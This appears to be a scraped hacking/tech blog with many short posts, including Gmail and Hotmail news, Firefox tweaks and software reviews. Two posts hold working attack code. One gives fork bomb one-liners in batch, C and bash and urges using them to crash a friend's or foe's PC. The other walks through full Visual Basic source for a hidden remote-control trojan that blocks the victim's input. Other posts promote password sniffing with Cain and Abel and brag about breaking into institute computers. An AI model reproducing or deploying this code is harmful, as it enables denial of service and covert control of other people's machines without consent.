5 types of Virus writers

Whilst stumbling on the net,I found this humorous description of 5 types of virus writers written by an actual hacker.I really loved the overall tone of the article and thought its worthy to share it with you guys..Enjoy.5 types of Virus writers

The Fired/Laid-Off Worker - This type is only interested in one thing: revenge. He wants to pay back his boss or another co-worker by wreaking havoc in the company's computer. 

The Messed-Up Kamikaze Dumbass - This persona is quite rare, he will write a malicious virus and then unleash it on his own computer! Then he will sit back and laugh as his computer gets trashed.

The Do-Gooder - This virus writer also belongs to the "dumbass" branch of virus writers. What he does is write a virus, then call McAfee or Norton and tell them about his virus and how to block it, so everybody will be safe from it.

The Prankster - A mostly harmless virus writer here, just makes fake viruses, that don't do anything, just pretend to erase your hard disk. Or the virus could be something annoying like flipping your mouse keys, opening the cd drive, or restarting the computer every 5 minutes.

The 100% Pure Evil Virus Writer - This is the most feared virus writer of all. If you run across this virus overlord, you might as well go back to a piece of paper and forget about your computer. No virus protection program can save you now, AHAHAHA! This is the virus writer that you heard about on the news last night, yeah you know, the one that knocked out the CIA mainframe.

 

posted by XERO.Original Article by : DIzzIE Ó1999.ALL RIGHTS RESERVED.

Latest Gmail updates – attachments and more…

Recently Google has updated the Gmail with some nifty new touches and hacks that will increase our Email experience.Gmail has tweaked with the attachment system,multiselect system and and a tweaked up title bar that tells you how many unread emails are their in your email box.A little detailed explanation of these enhancements is discussed below -Gmail has experimented with some nifty tweaks

It was a little tedious to send large or multiple attachments with an email as you had to select each attachment individually and you never knew how long it would be before those bigger files were ready to send. Gmail now allows you to select multiple attachments by holding ctrl key or by using shift key to select a continuous list of files.

Select multiple attachments using Gmail - rdhacker.blogspot.com

It has also included a progress bars on each file as it uploads.A real time saver I must say..

Progress bars show the progress of uploads - rdhacker.blogspot.com

The third hack Gmail has applied on its UI is the tweaked title bar which now shows how many unread messages you have in your inbox. This can be activated by activating the Title bar hacks under the labs section of Gmail.That way you can see how many unread messages you have even if the window is minimized.

The title bar now shows number of unread emails

These nifty enhancements surely increase the Gmail experience. I love you Google :)

 

Posted by XERO . Gmail blog sourcesource 2. ALL RIGHTS RESERVED.

Prohack is one Year old !!

Hi friends

It gives me immense pleasure to announce it to you that Your favorite technology website is one year old.It was on one sunny morning one year ago I decided to start it up,and then,it all went well. Its because of you I have achieved so much and learnt many things while maintaining this blog.I wish our tribe may increase.

Happy Birthday PROHACK

Amen

XERO

 

Posted by XERO. ALL RIGHTS RESERVED

5 Myths About Safe Surfing

Safe surfing..the term has been getting vague with the increasing virus outbreaks nowdays.PC Magazine once conducted a survey in which they asked the participants to rate their broadband ISP services and the results were astonishing.Most of users didn’t completely understand the seriousness of potential threats or how to protect their PCs. Here are the top 5 Myths about safe surfing over internet.

Myth 1 - I don't keep important things on my PC, so I don't have to worry about security. Your PC can be infected over internet

Long time ago,this was partially true… but the hybrid worms and viruses of today like Blaster,hidrag and others blindly spread across internet to thousands or millions of PCs in a matter of hours, without regard for who owns them, what is  stored there, or the value of the information they hold for the sole purpose of wreaking havoc. Even if your computer is not attacked directly, it can be used as a zombie to launch a denial-of-service or other attack on a network or to send spam or pornography to other PCs without being traced. Therefore, your civic responsibility is to protect your PC so that others are protected.

Myth 2 - I can protect my PC if I disconnect from the Internet or turn it off when I'm not using it.

Wrong. You are a target,If you connect to the Internet at all. You could download a virus when you connect to internet and it may not be activated immediately,not until you read your email offline days after. Viruses nowadays spread wildly through USB/Pen drives,pirated cd’s or torrents or file from networks.

Myth 3 - I can protect myself from viruses by not opening suspicious e-mail attachments. some viruses simply get activated  by reading or previewing an e-mail

Wrong again. The next virus you get may come from your best friend's or boss' computer if his e-mail address book was compromised for simulating an attack. Hybrid worms can enter through the Web browser through loopholes and it is possible to activate some viruses simply by reading or previewing an e-mail. You simply must have a PC-based antivirus package or a firewall.

Myth 4 - I have a Macintosh (or a Linux-based system), not a Windows system, so I don't have to worry about being attacked.

It is true that most attacks target Microsoft Windows–based PCs, but there have been attacks against Mac OS and Linux systems as well. Some experts have predicted that the Mac virus problem will get worse, because Mac OS X uses a version of Unix. And although these systems have some useful security features, they can still be attacked.

Myth 5 - My system came with an antivirus package, so I'm protected.

Not quite. Firstly, if you haven't activated your antivirus to scan incoming web traffic automatically, you are not A good antivirus and malware protection software can protect your PCprotected against e-mail and Web browser attacks. Secondly, new threats appear daily, so an antivirus package is only as good as its last update so its a must to activate the auto-update features to keep your guard up against the latest  threats. Thirdly, an antivirus package can't protect you from every threat.Malwares,spywares are running in the wild out there and every then and now malicious code penetrate weak systems.You need a combination of solutions, including, at minimum, antivirus, a personal firewall ,an anti spyware/malware package and a plan for keeping your operating system and software up to date with security patches.

 

Posted by XERO. Credits – PC MAGAZINE . ALL RIGHTS RESERVED.

Hack Windows Vista Experience ratings

Windows Vista ships with a tool called the Windows System Assessment Tool (WinSAT) which measures the performance More Windows Vista tips,tricks and hacks at Prohackcharacteristics and capabilities of your computer hardware and aggregates it as the Windows Vista Experience Index (WEI). The Windows Experience Index consists of 5 separate sub scores - Processor, Memory (RAM), Graphics, Gaming  Graphics and Hard Disk. The base score is the lowest of all the sub scores and it roughly defines the hardware potential of a computer system.However with many of dissatisfied with the scores we get,geeks around decided to hack it.The concept behind this hack is that WinSAT calculated system score is stored in a XML file which lies deep in Windows directory and by changing the scores there,you can beef up your Windows Experience Base Score and make your friends gawk at it :)
Here is how to do that -
  • Open an Explorer Window and navigate to
C:\Windows\Performance\WinSAT\DataStore
and look for the latest XML file [look in the name for dates]
  • Right-click the file and select Properties.
  • Click the Security tab.
  • Click the Edit button.
  • When the UAC prompt appears, click Continue.
  • Click the Add button.
  • Input your username and click OK.
  • Select the username and then click the Full Control checkbox in the Allow column and Click OK.
  • When the Security prompt appears, click Yes.
  • After taking full ownership, open the XML with WordPad. ONLY OPEN WITH WORDPAD. It will look messy if you open it with NotePad.
<WinSPR>
<SystemScore>x.x</SystemScore>
<MemoryScore>x.x</MemoryScore>
<CpuScore>x.x</CpuScore>
<CPUSubAggScore>x.x</CPUSubAggScore>
<VideoEncodeScore>x.x</VideoEncodeScore>
<GraphicsScore>x.x</GraphicsScore>
<GamingScore>x.x</GamingScore>
<DiskScore>x.x</DiskScore>
<LimitsApplied>
  • Then change the numbers between the < > </ > with anything you like then save it. Open up
Control Panel  –>  Performance Information and Tools
and voila! Your WEI scores have changed!
BeforeFormer Windows Experience Index Scores
AfterHacked Windows Experience Index Scores

Posted by XERO . ALL RIGHTS RESERVED.


BackTrack 3 - Ultimate Security Tool

BackTrack is the most top rated Linux live distribution focused on penetration testing. BackTrack consists of more than 300 different up-to-date tools which are logically structured according to the work flow of security professionals. BackTrack 3 - Ultimate Security Tool - rdhacker.blogspot.com

It's evolved from the merge of the two wide spread distributions - Whax and Auditor Security Collection. By joining forces and replacing these distributions, BackTrack has gained massive popularity and was voted in 2006 as the #1 Security Live Distribution by insecure.org. Security professionals as well as new-comers are using BackTrack as their favorite toolset all over the globe.

It takes advantage of SLAX's modular design and structure to enable the user to include customizable scripts, additional tools and configurable kernels in personalized distributions.With no installation whatsoever, the analysis platform is started directly from the CD-Rom and is fully accessible within minutes.

BackTrack's functionality further increases with the arrangement of each tool in 16 categories. The tool categories are as follows -

  • Enumeration
  • Exploit Archives
  • Scanners
  • Password Attacks
  • Fuzzers
  • Spoofing
  • Sniffers
  • Tunneling
  • Wireless Tools
  • Bluetooth
  • Cisco Tools
  • Database Tools
  • Forensic Tools
  • BackTrack Services
  • Reversing
  • Misc

In relation to basic software packages, BackTrack includes some ordinary desktop programs such as Mozilla Firefox, Pidgin, K3b, and XMMS.BackTrack in action - rdhacker.blogspot.com

In short,BackTrack is a must have for any security expert out there.

Download BackTrack

 

Posted by XERO . ALL RIGHTS RESERVED.

 

Microsoft renames and upgrades its Phone OS - Windows Phones

Microsoft announced the latest revision of Microsoft's OS for handsets at Mobile World Congress today and Steve Ballmer Windows Mobile 6.5 now touch optimised & refurnished. -  rdhacker.blogspot.comsaid that to not to call them Windows Mobile phones anymore,henceforth, the devices will be known as Windows Phones.

Windows Phones,an OS which which has over the years been known as Windows CE and Pocket PC and the most latest as Windows mobile phone has been re-branded quite frequently by Microsoft."It's a mouthful to say, 'You want a Windows Mobile phone?'" Ballmer said when asked about the decision to once again re-brand the OS. 

Ballmer's announced about the Windows Mobile 6.5, a refurnished handset OS with touch-optimized user interface; My Phone, an online backup and sync service for Windows phones, and the Windows Marketplace for Mobile app store. 

My Phone and the Windows Marketplace will be accessible to Windows phones running Windows Mobile 6.5.Previous My Phone, an online backup and sync service. - rdhacker.blogspot.comWindows Mobile 6.1 devices will be supported via download at the discretion of vendor.These exclude devices running previous OS,Ballmer said.

Windows Mobile 6.5, sports an improved, more desktop-like browser, will make its debut later this year on handsets including the HTC Touch Diamond2 and the LG-GM730;both announced on  Monday.however, both HTC and LG have made changes to the OS which they believe will make the UI more user friendly. With the new UI, Microsoft hopes to get more vendors on board without significant changes.

Posted by XERO. PCWORLD - Source . ALL RIGHTS RESERVED.

 

Simplest Virus – The Fork Bomb

A virus (as you know) is a piece of code that does something that it shouldn't. It is a common misconception that you Concept of Fork Bomb - the processes recursively fork until a denial of service or a crash occursneed a vast skill set to make these and that they are extremely complex however in reality they are as simple as sin to make which is why they are so damn annoying.
A Fork bomb is considered to be the smallest writable virus in the batch language and it is capable of being annoying and if launched on a home computer however on a server will probably result in a crash.
A fork bomb creates two instances which each create two instances and so on..the processes recursively fork, this "forks" the processor and jamm it completely until a crash occurs.
Here is how to make it
open up notepad and type:
%0|%0
and save it as fork.bat Yep..its a virus of just 5 characters :P .
On double clicking this file,it will lead to total CPU jam by opening about 500+ process of command prompt .
Here is a in C++ version of Fork bomb
#include <unistd.h>
int main(void)
{
  while(1)
    fork();
  return 0;
}
and a shell (Unix/bash) version
:(){ :|:& };:
Once a successful fork bomb has activated in a system, one may have to reboot to resume normal operation. Stopping a fork bomb requires destroying all running instances of it. Trying to use a program to kill the rogue processes normally requires creating another process  a difficult or impossible task as it will totally use memory for its instances.
Use it for crashing your friends/foe’s PC  :P .

Posted by XERO . ALL RIGHTS RESERVED.


Make a simple Trojan in VB

Visual Basic is an easy programming language.So easy that most of advanced programmers don't even compare it to behemoths like C/Pascal/C++/PERL etc.But it seriously packs punch due to its ease in programming and predefined Program a Simple Trojan in VBprocedures.Earlier wrote on how to lock keyboard and mouse using VB. This time I will be discussing on how to write a simple trojan in VB .Writing a Trojan is a lot easier than most people think. All it really involves is two simple applications both with fewer than 100 lines of code. The first application is the client or the program that one user knows about. The second is the server or the actual “trojan” part. I will now go through what you need for both and some sample code. 

Server
The server is the Trojan part of the program. You usually will want this to be as hidden as possible so the average user can’t find it. To do this you start by using

Private Sub Form_Load()
     Me.Visible = False
End Sub

This little bit of code makes the program invisible to the naked eye. Now we all know that the task manager is a little bit peskier. So to get our application hidden from that a little better we make our code look like this.

Private Sub Form_Load()
     Me.Visible = False
     App.TaskVisible = False
End Sub

So now, we have a program that is virtually invisible to the average user, and it only took four lines of code. Now all of you are thinking that this tutorial sucks right about now so lets make it a lot better by adding functions to our Trojan!
The first thing we want to do is make it be able to listen for connections when it loads. So in order to do this we need to add a Winsock Control. I named my control win but you can name yours what ever.

Now to make it listen on port 2945 when the Trojan starts up we make our code look like this.

Private Sub Form_Load()
     Me.Visible = False
     App.TaskVisible = False
     win.LocalPort = 2945
     win.RemotePort = 455
     win.Listen
End Sub

This code will set the local open port to 2945 and the port it sends it to is 455. So now, we have a program that listens but still doesn’t do anything neat. Lets make it block the input of the user completely when we tell it to!

To do this little devious thing we need to add a module with the following code

Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long

Then we add this code to our main form:

Private Sub win_ConnectionRequest(ByVal requestID As Long)
     win.Close
     win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
    win.GetData GotDat
    DoActions (GotDat)
End Sub

The code in the module is called a windows API. It uses a dll file to do tasks that we want. Now this code still won’t block the users input but we are very close. We now need to program the DoActions function that we called on our main form. In case you were wondering the code that we added to the form does two different things. The first sub makes it so all connection requests are automatically accepted. The second sub makes it so all data is automatically accepted and it then passes all of the data to the function DoActions which we are about to code.

For the DoActions code, we want to make a public function in the module. So add this code to the module and we are about done with the server of the Trojan!

Public Function DoActions(x As String)
     Dim Action
     Select Case x
             Case "block"
             Action = BlockInput(True)
     End Select
End Function

Ok now we have a program that when the data “block” is sent to it on port 2945 it will block the users input. I made a Select Case statement so it is easy to modify this code to your own needs later on. I recommend adding a unblock feature of your own. To do that just call the BlockInput function with the argument False instead of true.

Main Form

Private Sub Form_Load()
     Me.Visible = False
     App.TaskVisible = False
     win.LocalPort = 2945
     win.RemotePort = 455
     win.Listen
End Sub

Private Sub win_ConnectionRequest(ByVal requestID As Long) 
     win.Close
     win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
     win.GetData GotDat
     DoActions (GotDat)
End Sub

Remember to add your winsock control and name it to win if you use this code.

That’s all there is to the server side or Trojan part of it. Now on to the Client.

Client

The client will be what you will interact with. You will use it to connect to the remote server (trojan) and send it commands. Since we made a server that accepts the command of “block” lets make a client that sends the commandblock”.

Make a form and add a Winsock Control, a text box, and three buttons. The Text box should be named txtIP if you want it to work with this code. In addition, your buttons should be named cmdConnect, cmdBlockInput, and cmdDisconnect. Now lets look at the code we would use to make our Client.

Private Sub cmdConnect_Click()
     IpAddy = txtIp.Text
     Win.Close
     Win.RemotePort = 2945
     Win.RemoteHost = IpAddy
     Win.LocalPort = 9999
     Win.Connect
     cmdConnect.Enabled = False
End Sub

Private Sub cmdDisconnect_Click()
     Win.Close
     cmdConnect.Enabled = True
End Sub
Private Sub cmdBlockInput_Click()
     Win.SendData "block"
End Sub

That is the code for the client. All it does is gets the Ip Adress from txtIp and connects to it on remote port 2945. Then when connected you can send the “block” data to block off their input.

This completes the tutorial to make a simple Trojan in Visual Basic.

 

Tutorial Courtesy – Go4Expert . VISHAL SHARMA

Posted by XERO . ALL RIGHTS RESERVED.

 

Hack passwords with Cain and Abel

Cain & Abel is a password recovery tool for Microsoft Operating Systems. It allows easy recovery of various kind of passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, recovering wireless network keys, revealing password boxes, uncovering cached passwords and analyzing routing protocols. The program does not exploit any software vulnerabilities or bugs that could not be fixed with little effort. It covers some security aspects/weakness present in protocol's standards, authentication methods and caching mechanisms; its main purpose is the simplified recovery of passwords and credentials from various sources, however it also ships some "non standard" utilities for Microsoft Windows users.

Recover passwords easily using Cain and Abel - rdhacker.blogspot.com

Cain & Abel is a useful tool for network administrators, teachers, security consultants/professionals, forensic staff, security software vendors, professional penetration tester and everyone else that plans to use it for ethical reasons.

The latest version is faster and contains a lot of new features like APR (Arp Poison Routing) which enables sniffing on switched LANs and Man-in-the-Middle attacks. The sniffer in this version can also analyze encrypted protocols such as SSH-1 and HTTPS, and contains filters to capture credentials from a wide range of authentication mechanisms. The new version also ships routing protocols authentication monitors and routes extractors, dictionary and brute-force crackers for all common hashing algorithms and for several specific authentications, password/hash calculators, cryptanalysis attacks, password decoders and  some not so common utilities related to network and system security.

Download Cain and Abel from Oxid.IT Download Cain and Abel

 

Posted by XERO . OXID.IT. ALL RIGHTS RESERVED.

Hiren's BootCD 9.7 - Ultimate boot Disk

Hiren's BootCD is an all in one Dos Bootable CD, which consists of extremely essential tools for your system in case of Hiren's BootCD 9.7 - Ultimate boot Diskemergency.Hiren's Boot CD is a boot CD containing various diagnostic programs such as partitioning agents, system  performance benchmarks, disk cloning and imaging tools, data recovery tools, MBR tools, BIOS tools, and many others for fixing various computer problems. It is a Bootable CD hence it is useful even if the primary operating system cannot be booted. Hiren's Boot CD has an extensive list of software. I even used to break into Windows based systems in my institute using this CD (by using Active password changer provided in the CD) and till date, its the best one (except Ophcrack,cuz I like rainbow tables :P ). The CD has utilities with similar functionality on the CD and some times they seem redundant however I think this has been done to provide users diverse choices to choose their method of performing an operation. Overall,Hiren's BootCD is a must have tool for every PC user out there, and is an indispensible tool for System Administrators and Powerusers.

Download Hiren’s BootCD

 

Posted by XERO . ALL RIGHTS RESERVED.

Hack Mozilla Firefox - Firefox Speedhacks

Mozilla Firefox is blazingly fast,yet it has been facing stiff competition from Google Chrome in terms of speed.Yes, Firefox is already pretty damn fast but did you know that you can tweak it and improve the speed even more? That's the beauty  of this program being open source.Hack Mozilla Firefox - Firefox Speedhacks

Here's what you do:
In the URL bar, type “about:config” and press enter. This will bring up the configuration “menu” where you can change the parameters of Firefox.

Note that these are what I’ve found to REALLY speed up my Firefox significantly - and these settings seem to be common among everybody else as well. But these settings are optimized for broadband connections - I mean with as much concurrent requests we’re going to open up with pipelining you’d better have a big connection.

Double Click on the following settings and put in the numbers below - for the true / false booleans - they’ll change when you double click.

browser.tabs.showSingleWindowModePrefs – true
network.http.max-connections – 48
network.http.max-connections-per-server – 16
network.http.max-persistent-connections-per-proxy – 8
network.http.max-persistent-connections-per-server – 4
network.http.pipelining – true
network.http.pipelining.maxrequests – 100
network.http.proxy.pipelining – true
network.http.request.timeout – 300

One more thing… Right-click somewhere on that screen and add a NEW -> Integer. Name it “nglayout.initialpaint.delay” and set its value to “0”. This value is the amount of time the browser waits before it acts on information it receives. Since you’re broadband - it shouldn’t have to wait.

Now you should notice you’re loading pages MUCH faster now!

 

posted by XERO . UNKNOWN SOURCE . ALL RIGHTS RESERVED .

Defragment Multiple drives on Windows

Defragmentation can play havoc with the speed of your computer.For smooth running of windows,disk defragmentation is Defragment Multiple drives on Windows - rdhacker.blogspot.coma must.However the Disk Defragmenter in Windows XP does not include a way to defragment all hard drives at the same time, which is inconvenient when you have more than one hard drive in your computer. 

The method we are going to use is by creating a batch file to defragment all of the drives, one after the other.

The disk defrag utility in Windows XP can be triggered from the command line with the following syntax:

Windows Disk Defragmenter

Copyright (c) 2001 Microsoft Corp. and Executive Software International, Inc.

Usage:

defrag <volume> [-a] [-f] [-v] [-?]

volume drive letter or mount point (d: or d:volmountpoint)

-a Analyze only

-f Force defragmentation even if free space is low

-v Verbose output

-? Display this help text

First, we'll create a file named defragall.bat, and place it anywhere you like, as long as you'll remember where it is. If you want to run it from the command line, you could place it in the windows directory so that it will be available in the system path.

Defragment Multiple drives on Windows - rdhacker.blogspot.com

For each hard drive, add a line to the batch file. For instance, if we want to defragment drives C: , D: , and F: we will add these three lines:

defrag c: –f

defrag d: –f

defrag f: –f

To run the defrag, just either double-click on the batch file or start it from the command line.

 

Posted by XERO . HOWTOGEEK . ALL RIGHTS RESERVED .

Street Fighter 4 launched – The Wait is Over…

The wait is over !!!! Its almost 11 years since the release of last canonical Street Fighter game in the series,and Capcom Street Fighter 4 Rokz!!!has proved itself again – the game is truly outstanding in almost every sphere of gaming.The Resident Evil maker has  polished every aspect of the game and it truly stands out.Street Fighter IV succeeds in integrating the online and offline experience elegantly,the option to allow other players around the world to challenge you while you're playing through the arcade mode is ingeniously implemented.Street Fighter 4 is easy to pickup,but hides its deepness well under its cloak of graphics and well implemented gameplay.
Street Fighter was well waited by the series fans and its sure to make ripples among the fans and causal players alike.The EX system from Street Fighter 3 : Third Strike and winning gameplay of Street Fighter 2 has been remixed to provide an ultimate brawling experience.IGN,EUROGAMER and various other sites have already praised its fluid gameplay,highly detailed characters and the bundled features.Street Fighter 4 has made a 2nd coming and have revived a dying series to the pinnacle of glory.
Here are some Street Fighter 4 screens -
hulking Zangief vs Wild Blanka
Ryu charges up a fireball against an opponent
Dhalsim freaks up Blanka
 crimson viper versus blanka

I hope you will be liking the new incarnation of this series.

Cheers and keep learning.

Posted by XERO . ALL RIGHTS RESERVED .

Microsoft goes retail – Microsoft Opening Stores

With endeavors like the Xbox Live Marketplace and Zune Marketplace, Microsoft has been cutting out the retail middleman for years. However, the Xbox 360 maker's latest initiative goes a bit further, cutting the retail middleman out of the retail experience.

Microsoft could have used stores to "better articulate" the benefits of Vista. This could have been Microsoft’s paving the way for its Windows 7.Microsoft goes retail – Opening Microsoft Stores

Microsoft today announced that it will be launching its own chain of stores "to transform the PC and Microsoft buying experience." In particular, the company mentioned a desire to better facilitate and demonstrate the advantages of its products. Additionally, Microsoft hopes "to create deeper engagement with consumers and continue to learn firsthand about what they want and how they buy."  

Microsoft has appointed David Porter to be the company's corporate vice president of retail stores for this project. Porter was the head of DreamWorks Animation SKG's worldwide product distribution since 2007, and its his glowing experience and expertise Microsoft is betting on as Porter spent 25 years with retail giant Wal-Mart, starting small time and finishing big-time wit the retail giant by working his way up to vice president and general merchandise manager of the chain's entertainment division.

Porter's first priorities will be to find the right locations and to setup a timeframe for Microsoft’s stores when he begins his work on Monday.

"I am excited about helping consumers make more informed decisions about their PC and software purchases, and we'll share learnings from our stores with our existing retail and OEM partners that are critical to our success," Porter quipped in a statement.Microsoft retail stores will help microsoft better distribute their products

 

Posted by XERO .GAMESPOT.ALL RIGHTS RESERVED.

Create Windows XP CD using NLITE

Hi folks.Sorry my harddisk crashed again..so was not able to post..I formatted my system and that makes me write this create windows xp CD using NLitepost. Many of us format our systems from the supposed legal Windows XP CD’s,the same old vanilla windows installation.   But if you are a power user,you may wish to create your own Windows XP CD with all hacks applied and nitrated with the latest Service pack. Well here is the easiest way to create your own customized Windows XP CD.

You will need

Here is How to do that

First of all download the above mentioned softwares,collect your drivers and get as much as hot-fixes and add-ons which you want to integrate in your Windows XP CD.

Run Nlite and insert your XP CD. Choose your language and click Next.

Run Nlite and Choose your language

Choose your drive and make a new folder on your hard disk. Choose that folder and Nlite will copy all your XP cd there.

Choose your folder for XP

Choose your options about integrations and add-ons and user configuration and click next.

Choose your options and click next.

Select your service pack and click next. Nlite will integrate service pack into your XP.

Choose location of your service pack and click next

Choose the hotfixes to be applied on your windows.

Choose the hotfixes to be applied on your windows.

Choose the components you want to remove – like MSN messenger and outlook express 6 (I don't think any body uses them).

Remove unnecessary components

Now  finally configure the windows and the miscellaneous options like the background and boot screen and various configurable options.

configure miscllaneous options

Now finally apply the speed hacks using the preconfigured options and then hit next.

Apply preconfigured speed hacks

The process of integration will start and after it ends,You will be provided with the configuration screen where you can enter your CD key,User account settings and network settings and then it will create an ISO file for you which you can burn on any CD with Nero or Alcohol 120% or any CD/DVD burner.

Congrats.. you have created your ultimate Windows XP CD without any hassles.

 

posted by XERO. ALL RIGHTS RESERVED

 

Simple NMAP Scanning

Nmap ("Network Mapper") is a free and open source (license) utility for network exploration or security auditing. Nmap is a perfect scanning tool for hackers out there and boy..they use it extensively.Many systems and network administrators NMAP running on Windows XP command promptalso find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime .I will be discussing about how to do simple scanning in Nmap.

Here is how to do that

[1] Start by downloading the version of nmap from here . Net Tools also contain the NMAP scanner.

Windows users, install nmap by extracting the contents of the downloaded file to the C:\WINDOWS\system32 directory.  Linux or Unix geeks can install nmap by extracting the source code to a directory, changing to that directory, and typing " ./configure ", "make", and "make install", all from a command-line terminal.

[2] Now Open a command terminal. On Windows, do this by going to

Start >Programs >Accessories> Command Prompt

On Linux, simply use the terminal open from when you installed nmap.

Change directories to where you saved nmap by typing: "cd [wherever you saved nmap]". You must enter it in a specific format or the command will not work. For instance, to change to My Documents, you would type:

cd C:\Users\Me\My Documents

 

[3] Run a simple ping scan, which will simply say "Hello! Are you connected? " to each computer you specify. Type

nmap -vv -sP [target]

The target can be a domain (www.microsoft.com), an IP address (127.0.0.1), a network (192.168.1.0/24), or a file containing any combination of the above. nmap will discover the IP address of the target if it wasn't given, and immediately ping the target, returning the results, which it prints to the screen.

[4] Lets Try a SYN Stealth scan. This type of scan will try to knock on all of the "doors" of the computer and see if anyone answers. To run a SYN Stealth scan, type

nmap -vv -sS [target]

The -sS switch tells nmap that we want a SYN Stealth scan. nmap will now get the IP address(es) as before, then ping the target to make sure that it is alive. However, instead of stopping there, nmap will now start asking to make a connection to the computer on each "door" or "port" that it has, 1-65535. When the computer opens the door, nmap tears down the connection and reports that the port is open. Once it is finished, it will report its results to you.scanning using NMAP

Run another SYN scan, but this time, add the " -oX target.xml " switch onto the end. This will output nmap's results to an XML file, viewable in any web browser. The only problem with this is that you need to hunt for the file if you placed it in your system32 directory.

Tips

  • Is your target not responding? Then try adding the " -P0 " switch to your scan. This will force nmap to start the scan, even if it thinks that the target doesn't exist and this is useful if the computer is blocked by a firewall.
  • Wondering how the scan is going? View nmap's progress by hitting the spacebar or any other key.
  • If your scan is taking forever to complete (think twenty minutes or more), try adding the "-F " switch to the nmap scan to have nmap scan only the most frequently used ports.

Keep In Mind

  • Make sure that you have permission to scan the target! Scanning www.FBI.gov is just asking for trouble. If you want a target to scan, try scanme.nmap.org. This is a test computer set up by the author of nmap, free to scan without getting yelled at. Or you can read the on how to save your ass from FBI
  • If you frequently run nmap scans, be prepared to answer questions from your ISP (Internet Service Provider). Some ISPs routinely look for nmap traffic, and nmap isn't exactly the most inconspicuous tool. nmap is very well-known tool, and one that is used by hackers, so you may have a little explaining to do.

 

I hope that was informative.

 

Posted by XERO.WIKIHOW.ALL RIGHTS RESERVED.

Hotmail Updated – Wave 3 updates

The Hotmail team has finally announced the start of the roll out process for all users worldwide to the latest Wave 3 hotmail becomes hot with wave 3 update of Hotmail and People. Hotmail has been quite behind in features as compared to Gmail and yahoo mail.With Email service providers budding like mushrooms and offering loads of features,the developers at Redmond have unleashed the wave 3 to soften up the competition a bit.Here is the  summary of all the new features coming in this update:
  • More storage in Hotmail. Starts with 5 GB, continues to grow,just like Gmail :)
  • More themes in including some that change based on time of day or weather.
  • The Pesky Top Banner ad has been moved to side of page..whew.
  • Addition of  maps, directions, movie times and more to e-mail messages has been introduced with Wave 3 . Makes it easy for you to plan a vacation easily . (UK and US-only, for the moment)
Now add maps,directions, movie times and more to e-mail in hotmail
  • See “what’s new” updates from people in your network on Hotmail’s Today page.
See “what’s new” updates from people in your network
  • POP3 access has been made available to Hotmail users in the US and Brazil, in addition to UK, Canada, Australia, France, Japan, Spain, Germany, Italy, and the Netherlands.
  • Create e-mail signatures in HTML . let your creativity fly..
  • A more organized People page.
A more Re-organized people page
Have you got updated with Hotmail Wave 3 ? Leave me a note.


Posted by XERO.LIVESIDE.ALL RIGHTS RESERVED.